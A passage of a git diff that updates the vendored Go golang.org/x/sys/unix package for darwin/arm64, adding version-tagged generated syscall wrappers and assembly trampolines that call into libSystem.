-+TEXT ·libc_setgid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setgid(SB)
-+TEXT ·libc_setlogin_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setlogin(SB)
-+TEXT ·libc_setpgid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setpgid(SB)
-+TEXT ·libc_setpriority_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setpriority(SB)
-+TEXT ·libc_setprivexec_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setprivexec(SB)
-+TEXT ·libc_setregid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setregid(SB)
-+TEXT ·libc_setreuid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setreuid(SB)
-+TEXT ·libc_setrlimit_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setrlimit(SB)
-+TEXT ·libc_setsid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setsid(SB)
-+TEXT ·libc_settimeofday_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_settimeofday(SB)
-+TEXT ·libc_setuid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setuid(SB)
-+TEXT ·libc_symlink_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_symlink(SB)
-+TEXT ·libc_symlinkat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_symlinkat(SB)
-+TEXT ·libc_sync_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_sync(SB)
-+TEXT ·libc_truncate_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_truncate(SB)
-+TEXT ·libc_umask_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_umask(SB)
-+TEXT ·libc_undelete_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_undelete(SB)
-+TEXT ·libc_unlink_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_unlink(SB)
-+TEXT ·libc_unlinkat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_unlinkat(SB)
-+TEXT ·libc_unmount_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_unmount(SB)
-+TEXT ·libc_write_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_write(SB)
-+TEXT ·libc_mmap_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_mmap(SB)
-+TEXT ·libc_munmap_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_munmap(SB)
-+TEXT ·libc_gettimeofday_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_gettimeofday(SB)
-+TEXT ·libc_fstat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fstat(SB)
-+TEXT ·libc_fstatat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fstatat(SB)
-+TEXT ·libc_fstatfs_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fstatfs(SB)
-+TEXT ·libc_getfsstat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getfsstat(SB)
-+TEXT ·libc_lstat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_lstat(SB)
-+TEXT ·libc_stat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_stat(SB)
-+TEXT ·libc_statfs_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_statfs(SB)
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_darwin_arm64.go b/vendor/golang.org/x/sys/unix/zsyscall_darwin_arm64.1_11.go
-similarity index 84%
-copy from vendor/golang.org/x/sys/unix/zsyscall_darwin_arm64.go
-copy to vendor/golang.org/x/sys/unix/zsyscall_darwin_arm64.1_11.go
-index 07c6ebc9..8c3bb3a2 100644
---- a/vendor/golang.org/x/sys/unix/zsyscall_darwin_arm64.go
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_darwin_arm64.1_11.go
-@@ -1,7 +1,7 @@
--// mksyscall.pl -tags darwin,arm64 syscall_bsd.go syscall_darwin.go syscall_darwin_arm64.go
-+// go run mksyscall.go -tags darwin,arm64,!go1.12 syscall_bsd.go syscall_darwin.go syscall_darwin_arm64.1_11.go syscall_darwin_arm64.go
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
--// +build darwin,arm64
-+// +build darwin,arm64,!go1.12
-
- package unix
-
-@@ -214,22 +214,6 @@ func kevent(kq int, change unsafe.Pointer, nchange int, event unsafe.Pointer, ne
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) {
-- var _p0 unsafe.Pointer
-- if len(mib) > 0 {
-- _p0 = unsafe.Pointer(&mib[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS___SYSCTL, uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func utimes(path string, timeval *[2]Timeval) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -255,9 +239,9 @@ func futimes(fd int, timeval *[2]Timeval) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func fcntl(fd int, cmd int, arg int) (val int, err error) {
-- r0, _, e1 := Syscall(SYS_FCNTL, uintptr(fd), uintptr(cmd), uintptr(arg))
-- val = int(r0)
-+func poll(fds *PollFd, nfds int, timeout int) (n int, err error) {
-+ r0, _, e1 := Syscall(SYS_POLL, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(timeout))
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -366,8 +350,8 @@ func Munlockall() (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func ptrace(request int, pid int, addr uintptr, data uintptr) (err error) {
-- _, _, e1 := Syscall6(SYS_PTRACE, uintptr(request), uintptr(pid), uintptr(addr), uintptr(data), 0, 0)
-+func getattrlist(path *byte, list unsafe.Pointer, buf unsafe.Pointer, size uintptr, options int) (err error) {
-+ _, _, e1 := Syscall6(SYS_GETATTRLIST, uintptr(unsafe.Pointer(path)), uintptr(list), uintptr(buf), uintptr(size), uintptr(options), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -388,6 +372,161 @@ func pipe() (r int, w int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func getxattr(path string, attr string, dest *byte, size int, position uint32, options int) (sz int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall6(SYS_GETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(unsafe.Pointer(dest)), uintptr(size), uintptr(position), uintptr(options))
-+ sz = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fgetxattr(fd int, attr string, dest *byte, size int, position uint32, options int) (sz int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall6(SYS_FGETXATTR, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(dest)), uintptr(size), uintptr(position), uintptr(options))
-+ sz = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func setxattr(path string, attr string, data *byte, size int, position uint32, options int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_SETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(unsafe.Pointer(data)), uintptr(size), uintptr(position), uintptr(options))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fsetxattr(fd int, attr string, data *byte, size int, position uint32, options int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FSETXATTR, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(data)), uintptr(size), uintptr(position), uintptr(options))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func removexattr(path string, attr string, options int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_REMOVEXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(options))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fremovexattr(fd int, attr string, options int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_FREMOVEXATTR, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(options))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func listxattr(path string, dest *byte, size int, options int) (sz int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall6(SYS_LISTXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(dest)), uintptr(size), uintptr(options), 0, 0)
-+ sz = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func flistxattr(fd int, dest *byte, size int, options int) (sz int, err error) {
-+ r0, _, e1 := Syscall6(SYS_FLISTXATTR, uintptr(fd), uintptr(unsafe.Pointer(dest)), uintptr(size), uintptr(options), 0, 0)
-+ sz = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func setattrlist(path *byte, list unsafe.Pointer, buf unsafe.Pointer, size uintptr, options int) (err error) {
-+ _, _, e1 := Syscall6(SYS_SETATTRLIST, uintptr(unsafe.Pointer(path)), uintptr(list), uintptr(buf), uintptr(size), uintptr(options), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fcntl(fd int, cmd int, arg int) (val int, err error) {
-+ r0, _, e1 := Syscall(SYS_FCNTL, uintptr(fd), uintptr(cmd), uintptr(arg))
-+ val = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func kill(pid int, signum int, posix int) (err error) {
- _, _, e1 := Syscall(SYS_KILL, uintptr(pid), uintptr(signum), uintptr(posix))
- if e1 != 0 {
-@@ -408,6 +547,32 @@ func ioctl(fd int, req uint, arg uintptr) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) {
-+ var _p0 unsafe.Pointer
-+ if len(mib) > 0 {
-+ _p0 = unsafe.Pointer(&mib[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ _, _, e1 := Syscall6(SYS_SYSCTL, uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func sendfile(infd int, outfd int, offset int64, len *int64, hdtr unsafe.Pointer, flags int) (err error) {
-+ _, _, e1 := Syscall6(SYS_SENDFILE, uintptr(infd), uintptr(outfd), uintptr(offset), uintptr(unsafe.Pointer(len)), uintptr(hdtr), uintptr(flags))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Access(path string, mode uint32) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -672,26 +837,6 @@ func Fpathconf(fd int, name int) (val int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Fstat(fd int, stat *Stat_t) (err error) {
-- _, _, e1 := Syscall(SYS_FSTAT64, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fstatfs(fd int, stat *Statfs_t) (err error) {
-- _, _, e1 := Syscall(SYS_FSTATFS64, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func Fsync(fd int) (err error) {
- _, _, e1 := Syscall(SYS_FSYNC, uintptr(fd), 0, 0)
- if e1 != 0 {
-@@ -712,23 +857,6 @@ func Ftruncate(fd int, length int64) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Getdirentries(fd int, buf []byte, basep *uintptr) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_GETDIRENTRIES64, uintptr(fd), uintptr(_p0), uintptr(len(buf)), uintptr(unsafe.Pointer(basep)), 0, 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func Getdtablesize() (size int) {
- r0, _, _ := Syscall(SYS_GETDTABLESIZE, 0, 0, 0)
- size = int(r0)
-@@ -930,21 +1058,6 @@ func Listen(s int, backlog int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Lstat(path string, stat *Stat_t) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_LSTAT64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func Mkdir(path string, mode uint32) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -1229,8 +1342,9 @@ func Seek(fd int, offset int64, whence int) (newoffset int64, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Select(n int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (err error) {
-- _, _, e1 := Syscall6(SYS_SELECT, uintptr(n), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) {
-+ r0, _, e1 := Syscall6(SYS_SELECT, uintptr(nfd), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1375,36 +1489,6 @@ func Setuid(uid int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Stat(path string, stat *Stat_t) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_STAT64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Statfs(path string, stat *Statfs_t) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_STATFS64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func Symlink(path string, link string) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -1607,3 +1691,94 @@ func gettimeofday(tp *Timeval) (sec int64, usec int32, err error) {
- }
- return
- }
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fstat(fd int, stat *Stat_t) (err error) {
-+ _, _, e1 := Syscall(SYS_FSTAT, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fstatat(fd int, path string, stat *Stat_t, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FSTATAT, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fstatfs(fd int, stat *Statfs_t) (err error) {
-+ _, _, e1 := Syscall(SYS_FSTATFS, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func getfsstat(buf unsafe.Pointer, size uintptr, flags int) (n int, err error) {
-+ r0, _, e1 := Syscall(SYS_GETFSSTAT, uintptr(buf), uintptr(size), uintptr(flags))
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Lstat(path string, stat *Stat_t) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_LSTAT, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Stat(path string, stat *Stat_t) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_STAT, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Statfs(path string, stat *Statfs_t) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_STATFS, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_darwin_arm64.1_13.go b/vendor/golang.org/x/sys/unix/zsyscall_darwin_arm64.1_13.go
-new file mode 100644
-index 00000000..d64e6c80
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_darwin_arm64.1_13.go
-@@ -0,0 +1,41 @@
-+// go run mksyscall.go -tags darwin,arm64,go1.13 syscall_darwin.1_13.go
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-+
-+// +build darwin,arm64,go1.13
-+
-+package unix
-+
-+import (
-+ "syscall"
-+ "unsafe"
-+)
-+
-+var _ syscall.Errno
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func closedir(dir uintptr) (err error) {
-+ _, _, e1 := syscall_syscall(funcPC(libc_closedir_trampoline), uintptr(dir), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_closedir_trampoline()
-+
-+//go:linkname libc_closedir libc_closedir
-+//go:cgo_import_dynamic libc_closedir closedir "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func readdir_r(dir uintptr, entry *Dirent, result **Dirent) (res Errno) {
-+ r0, _, _ := syscall_syscall(funcPC(libc_readdir_r_trampoline), uintptr(dir), uintptr(unsafe.Pointer(entry)), uintptr(unsafe.Pointer(result)))
-+ res = Errno(r0)
-+ return
-+}
-+
-+func libc_readdir_r_trampoline()
-+
-+//go:linkname libc_readdir_r libc_readdir_r
-+//go:cgo_import_dynamic libc_readdir_r readdir_r "/usr/lib/libSystem.B.dylib"
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_darwin_arm64.1_13.s b/vendor/golang.org/x/sys/unix/zsyscall_darwin_arm64.1_13.s
-new file mode 100644
-index 00000000..b29dabb0
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_darwin_arm64.1_13.s
-@@ -0,0 +1,12 @@
-+// go run mkasm_darwin.go arm64
-+// Code generated by the command above; DO NOT EDIT.
-+
-+// +build go1.13
-+
-+#include "textflag.h"
-+TEXT ·libc_fdopendir_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fdopendir(SB)
-+TEXT ·libc_closedir_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_closedir(SB)
-+TEXT ·libc_readdir_r_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_readdir_r(SB)
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_darwin_arm64.go b/vendor/golang.org/x/sys/unix/zsyscall_darwin_arm64.go
-index 07c6ebc9..a8709f72 100644
---- a/vendor/golang.org/x/sys/unix/zsyscall_darwin_arm64.go
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_darwin_arm64.go
-@@ -1,7 +1,7 @@
--// mksyscall.pl -tags darwin,arm64 syscall_bsd.go syscall_darwin.go syscall_darwin_arm64.go
-+// go run mksyscall.go -tags darwin,arm64,go1.12 syscall_bsd.go syscall_darwin.go syscall_darwin_arm64.go
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
--// +build darwin,arm64
-+// +build darwin,arm64,go1.12
-
- package unix
-
-@@ -15,7 +15,7 @@ var _ syscall.Errno
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func getgroups(ngid int, gid *_Gid_t) (n int, err error) {
-- r0, _, e1 := RawSyscall(SYS_GETGROUPS, uintptr(ngid), uintptr(unsafe.Pointer(gid)), 0)
-+ r0, _, e1 := syscall_rawSyscall(funcPC(libc_getgroups_trampoline), uintptr(ngid), uintptr(unsafe.Pointer(gid)), 0)
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -23,20 +23,30 @@ func getgroups(ngid int, gid *_Gid_t) (n int, err error) {
- return
- }
-
-+func libc_getgroups_trampoline()
-+
-+//go:linkname libc_getgroups libc_getgroups
-+//go:cgo_import_dynamic libc_getgroups getgroups "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func setgroups(ngid int, gid *_Gid_t) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETGROUPS, uintptr(ngid), uintptr(unsafe.Pointer(gid)), 0)
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_setgroups_trampoline), uintptr(ngid), uintptr(unsafe.Pointer(gid)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setgroups_trampoline()
-+
-+//go:linkname libc_setgroups libc_setgroups
-+//go:cgo_import_dynamic libc_setgroups setgroups "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func wait4(pid int, wstatus *_C_int, options int, rusage *Rusage) (wpid int, err error) {
-- r0, _, e1 := Syscall6(SYS_WAIT4, uintptr(pid), uintptr(unsafe.Pointer(wstatus)), uintptr(options), uintptr(unsafe.Pointer(rusage)), 0, 0)
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_wait4_trampoline), uintptr(pid), uintptr(unsafe.Pointer(wstatus)), uintptr(options), uintptr(unsafe.Pointer(rusage)), 0, 0)
- wpid = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -44,10 +54,15 @@ func wait4(pid int, wstatus *_C_int, options int, rusage *Rusage) (wpid int, err
- return
- }
-
-+func libc_wait4_trampoline()
-+
-+//go:linkname libc_wait4 libc_wait4
-+//go:cgo_import_dynamic libc_wait4 wait4 "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func accept(s int, rsa *RawSockaddrAny, addrlen *_Socklen) (fd int, err error) {
-- r0, _, e1 := Syscall(SYS_ACCEPT, uintptr(s), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)))
-+ r0, _, e1 := syscall_syscall(funcPC(libc_accept_trampoline), uintptr(s), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)))
- fd = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -55,30 +70,45 @@ func accept(s int, rsa *RawSockaddrAny, addrlen *_Socklen) (fd int, err error) {
- return
- }
-
-+func libc_accept_trampoline()
-+
-+//go:linkname libc_accept libc_accept
-+//go:cgo_import_dynamic libc_accept accept "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func bind(s int, addr unsafe.Pointer, addrlen _Socklen) (err error) {
-- _, _, e1 := Syscall(SYS_BIND, uintptr(s), uintptr(addr), uintptr(addrlen))
-+ _, _, e1 := syscall_syscall(funcPC(libc_bind_trampoline), uintptr(s), uintptr(addr), uintptr(addrlen))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_bind_trampoline()
-+
-+//go:linkname libc_bind libc_bind
-+//go:cgo_import_dynamic libc_bind bind "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func connect(s int, addr unsafe.Pointer, addrlen _Socklen) (err error) {
-- _, _, e1 := Syscall(SYS_CONNECT, uintptr(s), uintptr(addr), uintptr(addrlen))
-+ _, _, e1 := syscall_syscall(funcPC(libc_connect_trampoline), uintptr(s), uintptr(addr), uintptr(addrlen))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_connect_trampoline()
-+
-+//go:linkname libc_connect libc_connect
-+//go:cgo_import_dynamic libc_connect connect "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func socket(domain int, typ int, proto int) (fd int, err error) {
-- r0, _, e1 := RawSyscall(SYS_SOCKET, uintptr(domain), uintptr(typ), uintptr(proto))
-+ r0, _, e1 := syscall_rawSyscall(funcPC(libc_socket_trampoline), uintptr(domain), uintptr(typ), uintptr(proto))
- fd = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
